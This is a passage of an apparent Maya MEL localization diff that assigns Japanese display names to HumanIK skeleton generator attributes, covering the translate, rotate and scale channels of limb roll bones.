+setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Sx", "右大腿部ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Sy", "右大腿部ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll2Sz", "右大腿部ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2T", "右脚ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Tx", "右脚ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Ty", "右脚ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Tz", "右脚ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2R", "右脚ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Rx", "右脚ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Ry", "右脚ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Rz", "右脚ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2S", "右脚ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Sx", "右脚ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Sy", "右脚ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll2Sz", "右脚ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2T", "左腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Tx", "左腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Ty", "左腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Tz", "左腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2R", "左腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Rx", "左腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Ry", "左腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Rz", "左腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2S", "左腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Sx", "左腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Sy", "左腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll2Sz", "左腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2T", "左前腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Tx", "左前腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Ty", "左前腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Tz", "左前腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2R", "左前腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Rx", "左前腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Ry", "左前腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Rz", "左前腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2S", "左前腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Sx", "左前腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Sy", "左前腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll2Sz", "左前腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2T", "右腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Tx", "右腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Ty", "右腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Tz", "右腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2R", "右腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Rx", "右腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Ry", "右腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Rz", "右腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2S", "右腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Sx", "右腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Sy", "右腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll2Sz", "右腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2T", "右前腕ロール 2 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Tx", "右前腕ロール 2 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Ty", "右前腕ロール 2 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Tz", "右前腕ロール 2 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2R", "右前腕ロール 2 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Rx", "右前腕ロール 2 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Ry", "右前腕ロール 2 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Rz", "右前腕ロール 2 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2S", "右前腕ロール 2 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Sx", "右前腕ロール 2 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Sy", "右前腕ロール 2 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll2Sz", "右前腕ロール 2 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3T", "左大腿部ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Tx", "左大腿部ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Ty", "左大腿部ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Tz", "左大腿部ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3R", "左大腿部ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Rx", "左大腿部ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Ry", "左大腿部ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Rz", "左大腿部ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3S", "左大腿部ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Sx", "左大腿部ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Sy", "左大腿部ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll3Sz", "左大腿部ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3T", "左脚ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Tx", "左脚ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Ty", "左脚ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Tz", "左脚ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3R", "左脚ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Rx", "左脚ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Ry", "左脚ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Rz", "左脚ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3S", "左脚ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Sx", "左脚ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Sy", "左脚ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll3Sz", "左脚ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3T", "右大腿部ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Tx", "右大腿部ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Ty", "右大腿部ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Tz", "右大腿部ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3R", "右大腿部ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Rx", "右大腿部ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Ry", "右大腿部ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Rz", "右大腿部ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3S", "右大腿部ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Sx", "右大腿部ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Sy", "右大腿部ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll3Sz", "右大腿部ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3T", "右脚ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Tx", "右脚ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Ty", "右脚ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Tz", "右脚ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3R", "右脚ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Rx", "右脚ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Ry", "右脚ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Rz", "右脚ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3S", "右脚ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Sx", "右脚ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Sy", "右脚ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll3Sz", "右脚ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3T", "左腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Tx", "左腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Ty", "左腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Tz", "左腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3R", "左腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Rx", "左腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Ry", "左腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Rz", "左腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3S", "左腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Sx", "左腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Sy", "左腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll3Sz", "左腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3T", "左前腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Tx", "左前腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Ty", "左前腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Tz", "左前腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3R", "左前腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Rx", "左前腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Ry", "左前腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Rz", "左前腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3S", "左前腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Sx", "左前腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Sy", "左前腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll3Sz", "左前腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3T", "右腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Tx", "右腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Ty", "右腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Tz", "右腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3R", "右腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Rx", "右腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Ry", "右腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Rz", "右腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3S", "右腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Sx", "右腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Sy", "右腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll3Sz", "右腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3T", "右前腕ロール 3 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Tx", "右前腕ロール 3 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Ty", "右前腕ロール 3 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Tz", "右前腕ロール 3 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3R", "右前腕ロール 3 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Rx", "右前腕ロール 3 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Ry", "右前腕ロール 3 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Rz", "右前腕ロール 3 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3S", "右前腕ロール 3 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Sx", "右前腕ロール 3 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Sy", "右前腕ロール 3 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll3Sz", "右前腕ロール 3 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4T", "左大腿部ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Tx", "左大腿部ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Ty", "左大腿部ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Tz", "左大腿部ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4R", "左大腿部ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Rx", "左大腿部ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Ry", "左大腿部ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Rz", "左大腿部ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4S", "左大腿部ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Sx", "左大腿部ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Sy", "左大腿部ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll4Sz", "左大腿部ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4T", "左脚ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Tx", "左脚ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Ty", "左脚ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Tz", "左脚ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4R", "左脚ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Rx", "左脚ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Ry", "左脚ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Rz", "左脚ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4S", "左脚ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Sx", "左脚ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Sy", "左脚ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll4Sz", "左脚ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4T", "右大腿部ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Tx", "右大腿部ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Ty", "右大腿部ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Tz", "右大腿部ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4R", "右大腿部ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Rx", "右大腿部ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Ry", "右大腿部ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Rz", "右大腿部ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4S", "右大腿部ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Sx", "右大腿部ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Sy", "右大腿部ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll4Sz", "右大腿部ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4T", "右脚ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Tx", "右脚ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Ty", "右脚ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Tz", "右脚ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4R", "右脚ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Rx", "右脚ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Ry", "右脚ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Rz", "右脚ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4S", "右脚ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Sx", "右脚ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Sy", "右脚ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll4Sz", "右脚ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4T", "左腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Tx", "左腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Ty", "左腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Tz", "左腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4R", "左腕ロール 4 R 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Rx", "左腕ロール 4 Rx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Ry", "左腕ロール 4 Ry 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Rz", "左腕ロール 4 Rz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4S", "左腕ロール 4 S 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Sx", "左腕ロール 4 Sx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Sy", "左腕ロール 4 Sy 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll4Sz", "左腕ロール 4 Sz 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4T", "左前腕ロール 4 T 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Tx", "左前腕ロール 4 Tx 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Ty", "左前腕ロール 4 Ty 可動部" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll4Tz", "左前腕ロール 4 Tz 可動部" ); +setAttrNiceNameResource( 